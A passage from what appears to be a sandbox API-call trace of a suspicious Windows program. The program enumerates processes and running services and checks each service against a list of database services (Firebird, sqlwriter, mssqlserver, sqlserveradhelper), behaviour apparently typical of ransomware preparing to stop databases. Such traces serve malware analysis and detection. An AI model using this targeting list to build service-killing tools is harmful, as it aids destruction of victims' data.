pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0071.385] lstrlenW (lpString="dllhost.exe") returned 11 [0071.385] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0071.386] lstrlenW (lpString="product.exe") returned 11 [0071.386] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0071.393] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0071.393] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0071.394] lstrlenW (lpString="basin.exe") returned 9 [0071.394] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0071.395] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0071.395] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0071.396] lstrlenW (lpString="tested housewives.exe") returned 21 [0071.397] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0071.398] lstrlenW (lpString="conhost.exe") returned 11 [0071.398] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0071.399] lstrlenW (lpString="conhost.exe") returned 11 [0071.399] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.400] lstrlenW (lpString="svchost.exe") returned 11 [0071.400] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0071.401] lstrlenW (lpString="wmxsde.exe") returned 10 [0071.401] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0072.068] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0072.069] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0072.070] lstrlenW (lpString="conhost.exe") returned 11 [0072.070] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0072.071] lstrlenW (lpString="cmd.exe") returned 7 [0072.071] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0072.072] lstrlenW (lpString="conhost.exe") returned 11 [0072.072] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.073] lstrlenW (lpString="svchost.exe") returned 11 [0072.073] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0072.076] lstrlenW (lpString="mode.com") returned 8 [0072.076] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0072.077] CloseHandle (hObject=0x2f4) returned 1 [0072.077] Sleep (dwMilliseconds=0x1f4) [0072.989] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ded90 [0072.991] EnumServicesStatusExW (in: hSCManager=0x6ded90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0072.992] GetLastError () returned 0xea [0072.992] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1d5a) returned 0x3ce6290 [0072.992] EnumServicesStatusExW (in: hSCManager=0x6ded90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ce6290, cbBufSize=0x1d5a, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ce6290, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0072.993] CloseServiceHandle (hSCObject=0x6ded90) returned 1 [0072.993] lstrlenW (lpString="Appinfo") returned 7 [0072.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0072.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0072.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0072.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0072.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0072.994] lstrlenW (lpString="AppXSvc") returned 7 [0072.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0072.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0072.994] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0072.994] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0072.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0072.994] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0072.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0072.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0072.994] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0072.994] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0072.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0072.994] lstrlenW (lpString="Audiosrv") returned 8 [0072.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0072.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0072.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0072.994] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0072.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0072.994] lstrlenW (lpString="BFE") returned 3 [0072.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0072.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0072.994] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0072.994] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0072.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0072.994] lstrlenW (lpString="BITS") returned 4 [0072.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0072.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0072.994] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0072.994] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0072.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0072.994] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0072.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0072.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0072.995] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0072.995] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0072.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0072.995] lstrlenW (lpString="CDPSvc") returned 6 [0072.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0072.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0072.995] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0072.995] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0072.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0072.995] lstrlenW (lpString="ClickToRunSvc") returned 13 [0072.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0072.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0072.995] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0072.995] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0072.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0072.995] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0072.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0072.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0072.995] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0072.995] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0072.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0072.995] lstrlenW (lpString="CryptSvc") returned 8 [0072.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0072.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0072.995] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0072.995] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0072.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0072.995] lstrlenW (lpString="DcomLaunch") returned 10 [0072.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0072.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0072.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0072.996] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0072.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0072.996] lstrlenW (lpString="DeviceAssociationService") returned 24 [0072.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0072.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0072.996] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0072.996] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0072.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0072.996] lstrlenW (lpString="Dhcp") returned 4 [0072.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0072.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0072.996] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0072.996] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0072.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0072.996] lstrlenW (lpString="Dnscache") returned 8 [0072.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0072.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0072.996] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0072.996] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0072.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0072.996] lstrlenW (lpString="DoSvc") returned 5 [0072.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0072.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0072.997] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0072.997] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0072.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0072.997] lstrlenW (lpString="DPS") returned 3 [0072.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0072.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0072.997] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0072.997] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0072.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0072.997] lstrlenW (lpString="DusmSvc") returned 7 [0072.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0072.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0072.997] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0072.997] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0072.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0072.997] lstrlenW (lpString="EventLog") returned 8 [0072.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0072.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0072.997] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0072.997] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0072.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0072.997] lstrlenW (lpString="EventSystem") returned 11 [0072.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0072.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0072.997] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0072.997] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0072.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0072.997] lstrlenW (lpString="FontCache") returned 9 [0072.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0072.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0072.998] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0072.998] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0072.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0072.998] lstrlenW (lpString="gpsvc") returned 5 [0072.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0072.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0072.998] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0072.998] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0072.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0072.998] lstrlenW (lpString="iphlpsvc") returned 8 [0072.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0072.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0072.998] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0072.998] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0072.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0072.998] lstrlenW (lpString="KeyIso") returned 6 [0072.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0072.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0072.998] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0072.998] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0072.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0072.998] lstrlenW (lpString="LanmanServer") returned 12 [0072.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0072.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0072.998] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0072.998] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0072.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0072.998] lstrlenW (lpString="LanmanWorkstation") returned 17 [0072.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0072.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0072.998] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0072.998] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0072.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0072.998] lstrlenW (lpString="lfsvc") returned 5 [0072.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0072.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0072.999] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0072.999] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0072.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0072.999] lstrlenW (lpString="lmhosts") returned 7 [0072.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0072.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0072.999] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0072.999] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0072.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0072.999] lstrlenW (lpString="LSM") returned 3 [0072.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0072.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0072.999] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0072.999] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0072.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0072.999] lstrlenW (lpString="MapsBroker") returned 10 [0072.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0072.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0072.999] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0072.999] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0072.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0072.999] lstrlenW (lpString="MpsSvc") returned 6 [0072.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0072.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0072.999] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0072.999] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0072.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0072.999] lstrlenW (lpString="NcbService") returned 10 [0072.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0072.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0072.999] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0073.000] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0073.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0073.000] lstrlenW (lpString="netprofm") returned 8 [0073.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0073.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0073.000] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0073.000] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0073.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0073.000] lstrlenW (lpString="NlaSvc") returned 6 [0073.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0073.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0073.000] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0073.000] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0073.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0073.000] lstrlenW (lpString="nsi") returned 3 [0073.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0073.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0073.000] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0073.000] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0073.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0073.000] lstrlenW (lpString="PcaSvc") returned 6 [0073.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0073.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0073.000] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0073.000] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0073.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0073.000] lstrlenW (lpString="PlugPlay") returned 8 [0073.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0073.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0073.000] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0073.000] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0073.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0073.000] lstrlenW (lpString="Power") returned 5 [0073.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0073.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0073.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0073.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0073.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0073.001] lstrlenW (lpString="ProfSvc") returned 7 [0073.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0073.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0073.001] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0073.001] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0073.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0073.001] lstrlenW (lpString="RpcEptMapper") returned 12 [0073.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0073.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0073.001] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0073.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0073.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0073.001] lstrlenW (lpString="RpcSs") returned 5 [0073.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0073.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0073.001] 